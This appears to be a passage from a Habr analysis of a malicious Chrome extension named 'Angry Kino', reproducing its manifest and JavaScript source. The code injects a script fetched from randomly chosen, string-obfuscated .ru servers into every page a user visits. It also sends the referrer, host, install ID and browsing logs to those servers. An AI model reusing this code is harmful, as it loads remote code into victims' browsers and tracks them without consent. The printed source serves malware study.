{ "background": { "page": "html/background.html" }, "content_scripts": [ { "js": [ "core/frameworks/cajon.js", "core/frameworks/jquery.js", "core/process.js" ], "matches": [ "*://*/*" ], "run_at": "document_start" } ], "description": " !", "icons": { "128": "images/128.png", "16": "images/16.png", "48": "images/48.png" }, "manifest_version": 2, "name": "Angry Kino - ", "permissions": [ "webRequest", "webRequestBlocking", "webNavigation", "tabs", "\u003Call_urls>" ], "update_url": "https://clients2.google.com/service/update2/crx", "version": "1.0.3", "web_accessible_resources": [ "images/_.png", "core/content.js", "core/contentSession.js", "core/messaging.js", "core/frameworks/uri.js", "core/backgroundHandlers.js", "core/backgroundSession.js", "core/backgroundUtils.js" ] }
require.config({ baseUrl: chrome.extension.getURL('/') }); require([ "core/content" ], function() { });
define(function (require) { exports = {}; (function () { var messageDispatcher = require('core/messaging').MessageDispatcher; messageDispatcher.sendToBackground( { cmd: 'GetRequestUrl' }, function (url) { if (url) { url = url.replace(/^https?:/, '') + '&r=' + encodeURIComponent(document.referrer) + '&h=' + encodeURIComponent(document.location.host) + '&rand=' + (new Date()).getTime(); if (document.head) { $("head").append($("<script />", { src: url })); } else { var i = setInterval(function () { if (document.head) { clearInterval(i); $("head").append($("<script />", { src: url })); } }, 100); } } }); if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) { var i2 = setInterval(function () { if (document.body) { clearInterval(i2); $("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide()); } }, 100); } }).call(this); return exports; });
define(function (require) { exports = {}; (function () { var _handlers = {}; function dispatcher(handlers, request, sender, sendResponse) { if (!request || !request.cmd || !(typeof request.cmd === 'string')) { throw 'Error: Bad request!'; } var handlerName = 'handle' + request.cmd; var handler = handlers[handlerName]; if (!(typeof handler === 'function')) { return; } handler(request.args, sender, sendResponse); } chrome.extension.onMessage.addListener( function (request, sender, sendResponse) { dispatcher(_handlers, request, sender, sendResponse); } ); exports.MessageDispatcher = { addHandlers: function(handlers) { for(var name in handlers) { _handlers[name] = handlers[name]; } }, sendToBackground: function (request, callback) { callback = callback || $.noop; chrome.extension.sendMessage(request, callback); }, sendToContentScript: function (tabId, request, callback) { callback = callback || $.noop; chrome.tabs.sendMessage(tabId, request, callback); } }; }).call(this); return exports; });
manifest.json == (key "background.page") ==> background.html backround.html == (script) ==> demon.js demon.js == (require) ==> backround.js background.js == (require) ==> backgroundHandlers.js backgroundHandlers.js == (require) ==> backgroundUtils.js
define(function (require) { exports = {}; (function () { var Session = require('core/backgroundSession').Session; var ProxyGetter = require('core/proxy').ProxyGetter; exports = { getRequestUrl: function() { if (ProxyGetter.serverIp) { return ( ProxyGetter.serverIp + '/getscripts2?' + this.getRequestParams() ); } }, getRequestParams: function() { return ('&b=' + Session.buildId + '&uid=' + Session.instanceId + '&insd=' + Session.installDate + '&sid=' + '&df=' ); }, sendNotify: function(from, to) { if (ProxyGetter.serverIp) { var url = ( ProxyGetter.serverIp + '/kinogo_log?' + this.getRequestParams() + '&from=' + encodeURIComponent(from) + '&to=' + encodeURIComponent(to) ); $.get(url); } } }; }).call(this); return exports; });
'http://outrageous.ru', 'http://thrilling.ru', 'http://frightened.ru', 'http://agitated.ru',
define(function (require) { exports = {}; (function () { /** * Bypass protection from Roskomnadzor */ var reserveLinks = [ 'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru', 'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru', 'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru', 'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru', ]; var ProxyGetter = {}; ProxyGetter.serverIp = null; /** * Use proxy * @param {type} callback * @returns {undefined} */ ProxyGetter.findServer = function (callback) { ProxyGetter.serverIp = null; if(reserveLinks.length > 0) { ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)]; } callback(); }; exports.ProxyGetter = ProxyGetter; }).call(this); return exports; });
Source: https://habr.com/ru/post/257361/
All Articles